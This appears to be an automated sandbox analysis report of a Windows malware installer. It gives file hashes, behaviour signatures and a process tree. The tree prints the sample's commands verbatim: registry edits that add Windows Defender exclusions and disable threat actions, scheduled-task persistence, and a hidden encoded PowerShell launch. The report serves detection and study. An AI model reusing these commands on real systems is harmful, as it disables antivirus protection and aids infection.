Analysis

  • max time kernel
    152s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/04/2024, 10:55

General

  • Target

    7deecdc874af4709b50fc2f863d13eaf6c2b97cc556bf1e3adb7b08bac9eb68c.exe

  • Size

    6.4MB

  • MD5

    f85345711a4bbb1638a9b0bbccf1cb4c

  • SHA1

    92b4e2f767713cccdffe5a7bfa12c0ba014c6d92

  • SHA256

    7deecdc874af4709b50fc2f863d13eaf6c2b97cc556bf1e3adb7b08bac9eb68c

  • SHA512

    8ba60d90271527c1ab2c607fc9285cde0ad87cca9f7b620d13d426bc5f4889b89cc27c1d8f76b88ad073bc579eceb97eac79022efeeec33bd9eae6d1d3b0cb65

  • SSDEEP

    98304:91O2pDcPHB7oWB0q32sghrEGog5UFI0eDyNGfJ9cnqzdmHQuuWy4rk0yaYWngUx4:91O2SKWBz3lgi+0fYLfsvry4A0y2gt

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 29 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7deecdc874af4709b50fc2f863d13eaf6c2b97cc556bf1e3adb7b08bac9eb68c.exe
    "C:\Users\Admin\AppData\Local\Temp\7deecdc874af4709b50fc2f863d13eaf6c2b97cc556bf1e3adb7b08bac9eb68c.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1172
    • C:\Users\Admin\AppData\Local\Temp\7zSD820.tmp\Install.exe
      .\Install.exe /mMpvXdids "385118" /S
      2⤵
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Drops file in System32 directory
      • Enumerates system info in registry
      • Suspicious use of WriteProcessMemory
      PID:1056
      • C:\Windows\SysWOW64\forfiles.exe
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4684
        • C:\Windows\SysWOW64\cmd.exe
          /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4492
          • \??\c:\windows\SysWOW64\reg.exe
            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
            5⤵
              PID:3584
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
              5⤵
                PID:552
          • C:\Windows\SysWOW64\forfiles.exe
            "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3192
            • C:\Windows\SysWOW64\cmd.exe
              /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:212
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                5⤵
                  PID:3536
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                  5⤵
                    PID:560
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /CREATE /TN "gWbkhOQrR" /SC once /ST 06:55:09 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                3⤵
                • Creates scheduled task(s)
                PID:1268
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /run /I /tn "gWbkhOQrR"
                3⤵
                  PID:976
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /DELETE /F /TN "gWbkhOQrR"
                  3⤵
                    PID:4944
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /CREATE /TN "bCAdHbOFiqtMCRhbmR" /SC once /ST 10:57:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\YafXseo.exe\" hl /VBsite_idMLT 385118 /S" /V1 /F
                    3⤵
                    • Drops file in Windows directory
                    • Creates scheduled task(s)
                    PID:4972
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:224
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:3032
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                  1⤵
                    PID:3960
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                    1⤵
                      PID:1452
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:4080
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3940 --field-trial-handle=2284,i,15722001240173834669,15048020084704567542,262144 --variations-seed-version /prefetch:8
                        1⤵
                          PID:1424
                        • C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\YafXseo.exe
                          C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\YafXseo.exe hl /VBsite_idMLT 385118 /S
                          1⤵
                          • Executes dropped EXE
                          • Drops file in System32 directory
                          • Suspicious use of WriteProcessMemory
                          PID:4000
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                            2⤵
                            • Drops file in System32 directory
                            • Modifies data under HKEY_USERS
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:1624
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              3⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3816
                              • C:\Windows\SysWOW64\reg.exe
                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                4⤵
                                  PID:4580
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                3⤵
                                  PID:1264
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                  3⤵
                                    PID:4772
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                    3⤵
                                      PID:3164
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                      3⤵
                                        PID:224
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                        3⤵
                                          PID:3536
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                          3⤵
                                            PID:3960
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                            3⤵
                                              PID:2860
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                              3⤵
                                                PID:2500
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                3⤵
                                                  PID:4100
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                  3⤵
                                                    PID:3908
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                    3⤵
                                                      PID:3944
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                      3⤵
                                                        PID:4768
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                        3⤵
                                                          PID:4564
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                          3⤵
                                                            PID:4080
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                            3⤵
                                                              PID:1096
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                              3⤵
                                                                PID:4764
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                3⤵
                                                                  PID:2264
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                  3⤵
                                                                    PID:4548
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                    3⤵
                                                                      PID:884
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                      3⤵
                                                                        PID:964
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                        3⤵
                                                                          PID:3108
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                          3⤵
                                                                            PID:4364
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                            3⤵
                                                                              PID:2972
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                              3⤵
                                                                                PID:4932
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                3⤵
                                                                                  PID:4732
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                  3⤵
                                                                                    PID:3988
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                    3⤵
                                                                                      PID:3036
                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:64;"
                                                                                    2⤵
                                                                                    • Drops file in System32 directory
                                                                                    • Modifies data under HKEY_USERS
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:4544
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:3012
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32
                                                                                          4⤵
                                                                                            PID:1796
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:64
                                                                                          3⤵
                                                                                            PID:4384
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:32
                                                                                            3⤵
                                                                                              PID:3804
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:64
                                                                                              3⤵
                                                                                                PID:2296
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:32
                                                                                                3⤵
                                                                                                  PID:1844
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:64
                                                                                                  3⤵
                                                                                                    PID:976
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:32
                                                                                                    3⤵
                                                                                                      PID:536
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:64
                                                                                                      3⤵
                                                                                                        PID:1208
